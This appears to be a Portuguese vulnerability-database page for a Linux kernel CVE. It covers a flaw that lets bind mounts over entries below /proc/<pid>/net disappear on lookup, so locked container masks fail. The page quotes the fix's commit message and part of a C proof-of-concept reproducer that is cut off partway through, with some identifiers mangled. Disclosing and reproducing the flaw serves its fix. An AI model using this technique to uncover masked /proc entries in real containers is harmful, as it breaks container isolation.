PT-2026-162808
CVE-2026-99841
·
Publicado
2026-11-30
·
Atualizado
2026-11-30
Descrição por
Pontuação
N/A
Não disponívelNão há classificações de severidade ou métricas disponíveis. Quando houver, atualizaremos as informações correspondentes na página.
In the Linux kernel, the following vulnerability has been resolved:
proc: don't let an entry below /proc//net be a mountpoint
proc net d revalidate() always returns 0 so that a dentry below
/proc//net is never reused after setns(). So lookup fast() will end
up calling d invalidate(), which unhashes the dentry and detaches every
mount on it, in every mount namespace; including locked mounts.
Then lookup slow() creates a new dentry for the same entry. So a mount
on /proc//net/dev succeeds and goes away with the first lookup of
the name by anybody with search permission on the directory. Given it's
0555 that's everyone's grandma. A mask on such a name hides nothing as
the repro below shows.
Treat those entries like I did fd/, fdinfo/ and map files/ and refuse to
mount on them in the first place. It's nonsensical theater otherwise:
procnet net/dev stat
// SPDX-License-Identifier: GPL-2.0
/*
- procnet: cover an entry of /proc// with a bind mount, lock the mount,
- then look the name up.
- The first task stays alive, is its pid. The "container" task has its
- own mount namespace. There it binds a mask on /proc//. It drops to
- uid 1000 and enters a new user namespace with a new mount namespace, so that
- the mask is locked. Then one task looks the name up:
- stat the container calls stat() on the name
- umount the container calls umount2(MNT DETACH) on the name
- nobody a task with uid 65534 in the first namespaces calls stat()
- The container lists its mounts before and after (that does not look the
- name up) and then reads the name. MASK is fine. Anything else means that
- the lookup uncovered the entry.
- usage: procnet stat|umount|nobody
- name "status" is the control, "net/dev" is a file below net, "net/stat" is
- a directory below net */ #define GNU SOURCE #include <dirent.h> #include <errno.h> #include <fcntl.h> #include <sched.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <unistd.h> #include <sys/mount.h> #include <sys/prctl.h> #include <sys/stat.h> #include <sys/wait.h>
#define WORK "/run/pn"
static char target[128];
static void die(const char *what)
{
fprintf(stderr, "FATAL %s: %s
", what, strerror(errno));
exit(2);
}
static void write str(const char *path, const char *s, int flags)
{
int fd = open(path, O WRONLY | flags, 0644);
if (fd < 0 || write(fd, s, strlen(s)) < 0)
die(path);
close(fd);}
/* list the mounts below /proc without a lookup of the target */
static void mounts(const char *when)
{
char line[512];
FILE *f = fopen("/proc/self/mountinfo", "r");
int n = 0;
if (!f)
die("mountinfo");
while (fgets(line, sizeof(line), f)) {
if (!strstr(line, " /proc/"))
continue;
printf("container: %s: mount: %s", when, line);
n++;
}
fclose(f);
if (!n)
printf("container: %s: nothing is mounted below /proc", when);
}
static void show(const char *when, int isdir)
{
char buf[48] = "";
int fd;
if (isdir) {
struct dirent *de;
DIR *d = opendir(target);
int hit = 0;
if (!d) {
printf("container: %s: opendir(%s) = %s", when, target, strerror(errno));
return;
}
printf("container: %s: readdir(%s) =", when, target);
while ((de = readdir(d))) {
if (de->d name[0] == '.')
continue;
printf(" %s", de->d name);
hit |= strcmp(de->d name, "MASK");
}
closedir(d);
printf("%s
", hit ? " <-- HIT" : "");
return;
}
fd = open(target, O RDONLY);
if (fd < 0) {
printf("container: %s: open(%s) = %s
", when, target, strerror(errno));
return;
}
if (read(fd, buf, sizeof(buf) - 1) < 0)
die("read");
close(fd);
if (strchr(buf, '
'))
*strchr(buf, '
') = 0;
printf("container: %s: read(%s) = "%s"%s
", when
---truncated---
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾